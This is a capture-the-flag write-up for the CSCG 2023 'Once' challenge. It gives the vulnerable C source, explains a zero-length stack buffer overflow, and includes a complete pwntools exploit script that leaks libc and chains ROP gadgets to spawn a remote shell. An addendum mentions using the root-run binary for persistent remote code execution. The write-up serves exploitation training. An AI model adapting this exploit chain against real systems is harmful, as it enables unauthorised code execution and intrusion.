CSCG 2023 - Once

Last modification on

Challenge

A basic stack overflow. How hard could it be?

Challenge Files

once.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void provide_a_little_help() {
    const char* needle = NULL;
    const char* needles[] = {
        "once",
        "[heap]",
        "[stack]",
        NULL
    };
    int i = 0;
    char buf[512] = {0};

    FILE* fp = fopen("/proc/self/maps", "r");
    if (!fp) {
        perror("fopen");
        exit(1);
    }

    while((needle = needles[i]) != NULL) {
        if (!fgets(buf, sizeof(buf), fp) || !buf[0]) {
            break;
        }

        if (strstr(buf, needle)) {
            *strchr(buf, ' ') = '\0';
            printf("%s: %s\n", needle, buf);
            i++;
        }
    }

    fflush(stdout);
}

int main() {
    unsigned char buf[0];

    provide_a_little_help();

    fread(buf, 1, 0x10, stdin);

    return 0;
}

Overview

We are given a small C program called once that is vulnerable to a stack-based buffer overflow. The objective is to achieve remote code execution and read the flag file.

The program consists of a call to provide_a_little_help, followed by fread to trigger the vulnerability.

The function provide_a_little_help parses the memory mapping of the program's binary, stack and heap by reading /proc/self/maps and outputs them to stdout. Since the binary has ASLR enabled, this could help an attacker build a ROP chain or provide writeable memory for use in an exploit.

The name once most likely is playing at the fact that at first glance, it seems like an attacker must achieve remote code execution using a single call to fread.

Analysis

The buffer overflow occurs when fread is called to read 0x10 bytes from stdin into the buffer buf of size 0x00. Subsequently, two 64-bit entries immediately following buf on the stack are overwritten. These correspond to the stored value of rbp and the return address.

Since the base address of the program is known, the return address may be overwritten such that fread is called multiple times. To do this successfully, however, we must be wary of which values are read / written to the stack by the code we ROP to, and how rsp is affected by each call.

Exploit

Viewing the contents of the stack at the time the stack-based buffer overflow takes place, we find that an existing pointer to main may be used to leveraged to achive arbitrary write.

In the first call to fread, we overwrite rbp with the target address and set the return pointer to main+14 (right after the call to provide_a_little_help in main). This way fread is called again, with our target address as its destination, and we can supply an arbitrary 16-byte payload. The next return value popped off the stack happens to be a pointer to main, such that we reach fread once more. Finally, we supply an empty stack address for rbp and a pointer to _start for the return address to reset the stack state, enabling us to reuse the write primitive.

With a write primitive and rip control, all that's left is to find a target and write our chain to the stack. Since the binary is very small, however, it does not provide sufficient gadgets to gain remote code execution. Instead, we must leak the base address of libc.so.6.

To this end, we construct a small rop chain which makes use of the libc pointer left in rdi by fflush(NULL). The rop chain consists of a call to provide_a_little_help+337, followed by the .plt entry for printf.

Running one_gadget we find a gadget using posix_spawn with easily satisfiable constraints at libc_base+0xf5552. Done, right? Well, the constraints output by one_gadget only cover the code paths reaching the call to posix_spawn, not the ones leaving it. In this case, a child process is spawned, but the parent still attempts to access some of the values we provided, causing a SEGFAULT and closing the connection.

Since we already have everything we need to Rop 'n' Roll normally, let's do that. The final ROP chain consists of a simple pop rdi; ret, followed by the address of /bin/sh and libc's system.

solve.py
from pwn import *
import sys

io = remote(sys.argv[1], 1024)

get_range = lambda io: [int(v,16) for v in io.readline().decode().split()[1].split("-")]
prog_start, prog_end = get_range(io)
heap_start, heap_end = get_range(io)
stack_start, stack_end = get_range(io)

stack_mem = stack_end - 0x1800
stack_mem2 = stack_end - 0x1600

rop_main = prog_start + 0x1315
rop_fread = prog_start + 0x1323
rop_fflush = prog_start + 0x0000130a
rop_leave_ret = prog_start + 0x1313
plt_printf = prog_start + 0x1050
rop_start = prog_start + 0x10d0

io.send(p64(stack_mem) + p64(rop_fread))
io.send(p64(plt_printf) + p64(rop_start))
io.send(p64(stack_mem-8) + p64(rop_fflush))

io.readuntil(b"once:")
libc_leak = u64(io.readuntil(b"once:")[:-5].split(b"\n")[-1].ljust(8, b"\x00"))
libc_base = libc_leak - 0x84240

libc_binsh = libc_base + 0x197031
libc_system = libc_base + 0x4d4c0
rop_pop_rdi = libc_base + 0x27ab5

io.send(p64(stack_mem2) + p64(rop_fread))
io.send(p64(rop_pop_rdi) + p64(libc_binsh))
io.send(p64(0) + p64(rop_start))

io.send(p64(stack_mem2+0x10) + p64(rop_fread))
io.send(p64(libc_system) + p64(rop_main))
io.send(p64(stack_mem2-8) + p64(rop_leave_ret))

io.interactive()


Addendum

I'd like to mention an alternative approach taken by tunn3l, described in detail in his post.

Since the child process spawned by our initial one_gadget payload inherits the stdin buffer of the parent, it is already possible to run commands in the child with this initial version of the exploit, just not receive any output. The challenge binary is run as root, so we can use this to replace it with a shell and gain persistent RCE. Neat!